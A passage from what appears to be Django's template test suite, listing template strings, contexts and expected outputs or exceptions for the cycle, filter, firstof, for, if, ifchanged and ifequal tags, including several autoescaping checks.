            'cycle09': (""{% for i in test %}{% cycle a,b %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle10': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}"", {}, 'ab'),
            'cycle11': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abc'),
            'cycle12': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abca'),
            'cycle13': (""{% for i in test %}{% cycle 'a' 'b' %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle14': (""{% cycle one two as foo %}{% cycle foo %}"", {'one': '1','two': '2'}, '12'),
            'cycle15': (""{% for i in test %}{% cycle aye bee %}{{ i }},{% endfor %}"", {'test': range(5), 'aye': 'a', 'bee': 'b'}, 'a0,b1,a2,b3,a4,'),
            'cycle16': (""{% cycle one|lower two as foo %}{% cycle foo %}"", {'one': 'A','two': '2'}, 'a2'),
            'cycle17': (""{% cycle 'a' 'b' 'c' as abc silent %}{% cycle abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, """"),
            'cycle18': (""{% cycle 'a' 'b' 'c' as foo invalid_flag %}"", {}, template.TemplateSyntaxError),
            'cycle19': (""{% cycle 'a' 'b' as silent %}{% cycle silent %}"", {}, ""ab""),
            'cycle20': (""{% cycle one two as foo %} &amp; {% cycle foo %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A & B &amp; C & D""),
            'cycle21': (""{% filter force_escape %}{% cycle one two as foo %} & {% cycle foo %}{% endfilter %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A &amp; B &amp; C &amp; D""),
            'cycle22': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""1234""),
            'cycle23': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ abc }}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""a1b2c3a4""),
            'included-cycle': ('{{ abc }}', {'abc': 'xxx'}, 'xxx'),
            'cycle24': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{% include 'included-cycle' %}{% endfor %}"", {'values': [1,2,3,4]}, ""abca""),
            'cycle25': ('{% cycle a as abc %}', {'a': '<'}, '<'),

            'cycle26': ('{% load cycle from future %}{% cycle a b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '&lt;&gt;'),
            'cycle27': ('{% load cycle from future %}{% autoescape off %}{% cycle a b as ab %}{% cycle ab %}{% endautoescape %}', {'a': '<', 'b': '>'}, '<>'),
            'cycle28': ('{% load cycle from future %}{% cycle a|safe b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '<&gt;'),

            ### EXCEPTIONS ############################################################

            # Raise exception for invalid template name
            'exception01': (""{% extends 'nonexistent' %}"", {}, (template.TemplateDoesNotExist, template.TemplateDoesNotExist)),

            # Raise exception for invalid template name (in variable)
            'exception02': (""{% extends nonexistent %}"", {}, (template.TemplateSyntaxError, template.TemplateDoesNotExist)),

            # Raise exception for extra {% extends %} tags
            'exception03': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% extends 'inheritance16' %}"", {}, template.TemplateSyntaxError),

            # Raise exception for custom tags used in child with {% load %} tag in parent, not in child
            'exception04': (""{% extends 'inheritance17' %}{% block first %}{% echo 400 %}5678{% endblock %}"", {}, template.TemplateSyntaxError),

            ### FILTER TAG ############################################################
            'filter01': ('{% filter upper %}{% endfilter %}', {}, ''),
            'filter02': ('{% filter upper %}django{% endfilter %}', {}, 'DJANGO'),
            'filter03': ('{% filter upper|lower %}django{% endfilter %}', {}, 'django'),
            'filter04': ('{% filter cut:remove %}djangospam{% endfilter %}', {'remove': 'spam'}, 'django'),
            'filter05': ('{% filter safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter05bis': ('{% filter upper|safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06': ('{% filter escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06bis': ('{% filter upper|escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),

            ### FIRSTOF TAG ###########################################################
            'firstof01': ('{% firstof a b c %}', {'a':0,'b':0,'c':0}, ''),
            'firstof02': ('{% firstof a b c %}', {'a':1,'b':0,'c':0}, '1'),
            'firstof03': ('{% firstof a b c %}', {'a':0,'b':2,'c':0}, '2'),
            'firstof04': ('{% firstof a b c %}', {'a':0,'b':0,'c':3}, '3'),
            'firstof05': ('{% firstof a b c %}', {'a':1,'b':2,'c':3}, '1'),
            'firstof06': ('{% firstof a b c %}', {'b':0,'c':3}, '3'),
            'firstof07': ('{% firstof a b ""c"" %}', {'a':0}, 'c'),
            'firstof08': ('{% firstof a b ""c and d"" %}', {'a':0,'b':0}, 'c and d'),
            'firstof09': ('{% firstof %}', {}, template.TemplateSyntaxError),
            'firstof10': ('{% firstof a %}', {'a': '<'}, '<'),

            'firstof11': ('{% load firstof from future %}{% firstof a b %}', {'a': '<', 'b': '>'}, '&lt;'),
            'firstof12': ('{% load firstof from future %}{% firstof a b %}', {'a': '', 'b': '>'}, '&gt;'),
            'firstof13': ('{% load firstof from future %}{% autoescape off %}{% firstof a %}{% endautoescape %}', {'a': '<'}, '<'),
            'firstof14': ('{% load firstof from future %}{% firstof a|safe b %}', {'a': '<'}, '<'),

            ### FOR TAG ###############################################################
            'for-tag01': (""{% for val in values %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag02': (""{% for val in values reversed %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""321""),
            'for-tag-vars01': (""{% for val in values %}{{ forloop.counter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""123""),
            'for-tag-vars02': (""{% for val in values %}{{ forloop.counter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""012""),
            'for-tag-vars03': (""{% for val in values %}{{ forloop.revcounter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""321""),
            'for-tag-vars04': (""{% for val in values %}{{ forloop.revcounter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""210""),
            'for-tag-vars05': (""{% for val in values %}{% if forloop.first %}f{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""fxx""),
            'for-tag-vars06': (""{% for val in values %}{% if forloop.last %}l{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""xxl""),
            'for-tag-unpack01': (""{% for key,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack03': (""{% for key, value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack04': (""{% for key , value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack05': (""{% for key ,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack06': (""{% for key value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack07': (""{% for key,,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack08': (""{% for key,value, in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            # Ensure that a single loopvar doesn't truncate the list in val.
            'for-tag-unpack09': (""{% for val in items %}{{ val.0 }}:{{ val.1 }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            # Otherwise, silently truncate if the length of loopvars differs to the length of each set of items.
            'for-tag-unpack10': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'orange'))}, ""one:1/two:2/""),
            'for-tag-unpack11': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, (""one:1,/two:2,/"", ""one:1,INVALID/two:2,INVALID/"")),
            'for-tag-unpack12': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2))}, (""one:1,carrot/two:2,/"", ""one:1,carrot/two:2,INVALID/"")),
            'for-tag-unpack13': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'cheese'))}, (""one:1,carrot/two:2,cheese/"", ""one:1,carrot/two:2,cheese/"")),
            'for-tag-unpack14': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (1, 2)}, ("":/:/"", ""INVALID:INVALID/INVALID:INVALID/"")),
            'for-tag-empty01': (""{% for val in values %}{{ val }}{% empty %}empty text{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag-empty02': (""{% for val in values %}{{ val }}{% empty %}values array empty{% endfor %}"", {""values"": []}, ""values array empty""),
            'for-tag-empty03': (""{% for val in values %}{{ val }}{% empty %}values array not found{% endfor %}"", {}, ""values array not found""),
            # Ticket 19882
            'for-tag-filter-ws': (""{% load custom %}{% for x in s|noop:'x y' %}{{ x }}{% endfor %}"", {'s': 'abc'}, 'abc'),

            ### IF TAG ################################################################
            'if-tag01': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": True}, ""yes""),
            'if-tag02': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": False}, ""no""),
            'if-tag03': (""{% if foo %}yes{% else %}no{% endif %}"", {}, ""no""),

            'if-tag04': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'foo': True}, ""foo""),
            'if-tag05': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'bar': True}, ""bar""),
            'if-tag06': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {}, """"),
            'if-tag07': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag08': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag09': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {}, ""nothing""),
            'if-tag10': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag11': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag12': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'baz': True}, ""baz""),
            'if-tag13': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {}, ""nothing""),

            # Filters
            'if-tag-filter01': (""{% if foo|length == 5 %}yes{% else %}no{% endif %}"", {'foo': 'abcde'}, ""yes""),
            'if-tag-filter02': (""{% if foo|upper == 'ABC' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Equality
            'if-tag-eq01': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-eq02': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1}, ""no""),
            'if-tag-eq03': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 1}, ""yes""),
            'if-tag-eq04': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 2}, ""no""),
            'if-tag-eq05': (""{% if foo == '' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Comparison
            'if-tag-gt-01': (""{% if 2 > 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gt-02': (""{% if 1 > 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-gte-01': (""{% if 1 >= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gte-02': (""{% if 1 >= 2 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lt-01': (""{% if 1 < 2 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lt-02': (""{% if 1 < 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lte-01': (""{% if 1 <= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lte-02': (""{% if 2 <= 1 %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Contains
            'if-tag-in-01': (""{% if 1 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),
            'if-tag-in-02': (""{% if 2 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-01': (""{% if 1 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-02': (""{% if 2 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),

            # AND
            'if-tag-and01': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-and02': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-and03': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-and04': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-and05': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-and06': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-and07': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'no'),
            'if-tag-and08': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'no'),

            # OR
            'if-tag-or01': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-or02': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-or03': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-or04': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-or05': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-or06': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-or07': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-or08': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'yes'),

            # multiple ORs
            'if-tag-or09': (""{% if foo or bar or baz %}yes{% else %}no{% endif %}"", {'baz': True}, 'yes'),

            # NOT
            'if-tag-not01': (""{% if not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-not02': (""{% if not not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'no'),
            # not03 to not05 removed, now TemplateSyntaxErrors

            'if-tag-not06': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not07': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not08': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not09': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not10': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not11': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not12': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not13': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not14': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not15': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not16': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not17': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not18': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not19': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not20': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not21': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not22': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not23': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not24': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not25': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not26': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not27': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not28': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not29': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not30': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not31': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not32': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not33': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not34': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not35': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            # Various syntax errors
            'if-tag-error01': (""{% if %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error02': (""{% if foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error03': (""{% if foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error04': (""{% if not foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error05': (""{% if not foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error06': (""{% if abc def %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error07': (""{% if not %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error08': (""{% if and %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error09': (""{% if or %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error10': (""{% if == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error11': (""{% if 1 == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error12': (""{% if a not b %}yes{% endif %}"", {}, template.TemplateSyntaxError),

            # If evaluations are shortcircuited where possible
            # If is_bad is invoked, it will raise a ShouldNotExecuteException
            'if-tag-shortcircuit01': ('{% if x.is_true or x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""yes""),
            'if-tag-shortcircuit02': ('{% if x.is_false and x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""no""),

            # Non-existent args
            'if-tag-badarg01':(""{% if x|default_if_none:y %}yes{% endif %}"", {}, ''),
            'if-tag-badarg02':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 0}, ''),
            'if-tag-badarg03':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 1}, 'yes'),
            'if-tag-badarg04':(""{% if x|default_if_none:y %}yes{% else %}no{% endif %}"", {}, 'no'),

            # Additional, more precise parsing tests are in SmartIfTests

            ### IFCHANGED TAG #########################################################
            'ifchanged01': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,2,3)}, '123'),
            'ifchanged02': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,3)}, '13'),
            'ifchanged03': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,1)}, '1'),
            'ifchanged04': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (2, 2, 2)}, '122232'),
            'ifchanged05': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (1, 2, 3)}, '1123123123'),
            'ifchanged06': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2)}, '1222'),
            'ifchanged07': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% for y in numy %}{% ifchanged %}{{ y }}{% endifchanged %}{% endfor %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2), 'numy': (3, 3, 3)}, '1233323332333'),
            'ifchanged08': ('{% for data in datalist %}{% for c,d in data %}{% if c %}{% ifchanged %}{{ d }}{% endifchanged %}{% endif %}{% endfor %}{% endfor %}', {'datalist': [[(1, 'a'), (1, 'a'), (0, 'b'), (1, 'c')], [(0, 'a'), (1, 'c'), (1, 'd'), (1, 'd'), (0, 'e')]]}, 'accd'),

            # Test one parameter given to ifchanged.
            'ifchanged-param01': ('{% for n in num %}{% ifchanged n %}..{% endifchanged %}{{ n }}{% endfor %}', { 'num': (1,2,3) }, '..1..2..3'),
            'ifchanged-param02': ('{% for n in num %}{% for x in numx %}{% ifchanged n %}..{% endifchanged %}{{ x }}{% endfor %}{% endfor %}', { 'num': (1,2,3), 'numx': (5,6,7) }, '..567..567..567'),

            # Test multiple parameters to ifchanged.
            'ifchanged-param03': ('{% for n in num %}{{ n }}{% for x in numx %}{% ifchanged x n %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', { 'num': (1,1,2), 'numx': (5,6,6) }, '156156256'),

            # Test a date+hour like construct, where the hour of the last day
            # is the same but the date had changed, so print the hour anyway.
            'ifchanged-param04': ('{% for d in days %}{% ifchanged %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Logically the same as above, just written with explicit
            # ifchanged for the day.
            'ifchanged-param05': ('{% for d in days %}{% ifchanged d.day %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d.day h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Test the else clause of ifchanged.
            'ifchanged-else01': ('{% for id in ids %}{{ id }}{% ifchanged id %}-first{% else %}-other{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-first,1-other,2-first,2-other,2-other,3-first,'),

            'ifchanged-else02': ('{% for id in ids %}{{ id }}-{% ifchanged id %}{% cycle red,blue %}{% else %}grey{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1-grey,2-blue,2-grey,2-grey,3-red,'),
            'ifchanged-else03': ('{% for id in ids %}{{ id }}{% ifchanged id %}-{% cycle red,blue %}{% else %}{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1,2-blue,2,2,3-red,'),

            'ifchanged-else04': ('{% for id in ids %}{% ifchanged %}***{{ id }}*{% else %}...{% endifchanged %}{{ forloop.counter }}{% endfor %}', {'ids': [1,1,2,2,2,3,4]}, '***1*1...2***2*3...4...5***3*6***4*7'),

            # Test whitespace in filter arguments
            'ifchanged-filter-ws': ('{% load custom %}{% for n in num %}{% ifchanged n|noop:""x y"" %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1,2,3)}, '..1..2..3'),

            ### IFEQUAL TAG ###########################################################
            'ifequal01': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 2}, """"),
            'ifequal02': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal03': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 2}, ""no""),
            'ifequal04': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal05': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""test""}, ""yes""),
            'ifequal06': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""no""}, ""no""),
            'ifequal07': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""test""}, ""yes""),
            'ifequal08': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""no""}, ""no""),
            'ifequal09': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal10': ('{% ifequal a b %}yes{% else %}no{% endifequal %}', {}, ""yes""),

            # SMART SPLITTING
            'ifequal-split01': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal-split02': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'foo'}, ""no""),
            'ifequal-split03': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'test man'}, ""yes""),
            'ifequal-split04': (""{% ifequal a 'test man' %}yes{% else %}no{% endifequal %}"", {'a': 'test man'}, ""yes""),
            'ifequal-split05': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': ''}, ""no""),
            'ifequal-split06': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i ""love"" you'}, ""yes""),
            'ifequal-split07': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i love you'}, ""no""),
            'ifequal-split08': (r""{% ifequal a 'I\'m happy' %}yes{% else %}no{% endifequal %}"", {'a': ""I'm happy""}, ""yes""),
            'ifequal-split09': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slash\man""}, ""yes""),
            'ifequal-split10': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slashman""}, ""no""),

            # NUMERIC RESOLUTION
            'ifequal-numeric01': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': '5'}, ''),
            'ifequal-numeric02': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': 5}, 'yes'),
            'ifequal-numeric03': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric04': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5.2}, 'yes'),
            'ifequal-numeric05': ('{% ifequal x 0.2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric06': ('{% ifequal x .2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric07': ('{% ifequal x 2. %}yes{% endifequal %}', {'x': 2}, ''),
            'ifequal-numeric08': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric09': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': '5'}, 'yes'),
            'ifequal-numeric10': ('{% ifequal x -5 %}yes{% endifequal %}', {'x': -5}, 'yes'),
            'ifequal-numeric11': ('{% ifequal x -5.2 %}yes{% endifequal %}', {'x': -5.2}, 'yes'),
            'ifequal-numeric12': ('{% ifequal x +5 %}yes{% endifequal %}', {'x': 5}, 'yes'),

            # FILTER EXPRESSIONS AS ARGUMENTS
            'ifequal-filter01': ('{% ifequal a|upper ""A"" %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter02': ('{% ifequal ""A"" a|upper %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter03': ('{% ifequal a|upper b|upper %}x{% endifequal %}', {'a': 'x', 'b': 'X'}, 'x'),
            'ifequal-filter04': ('{% ifequal x|slice:""1"" ""a"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),
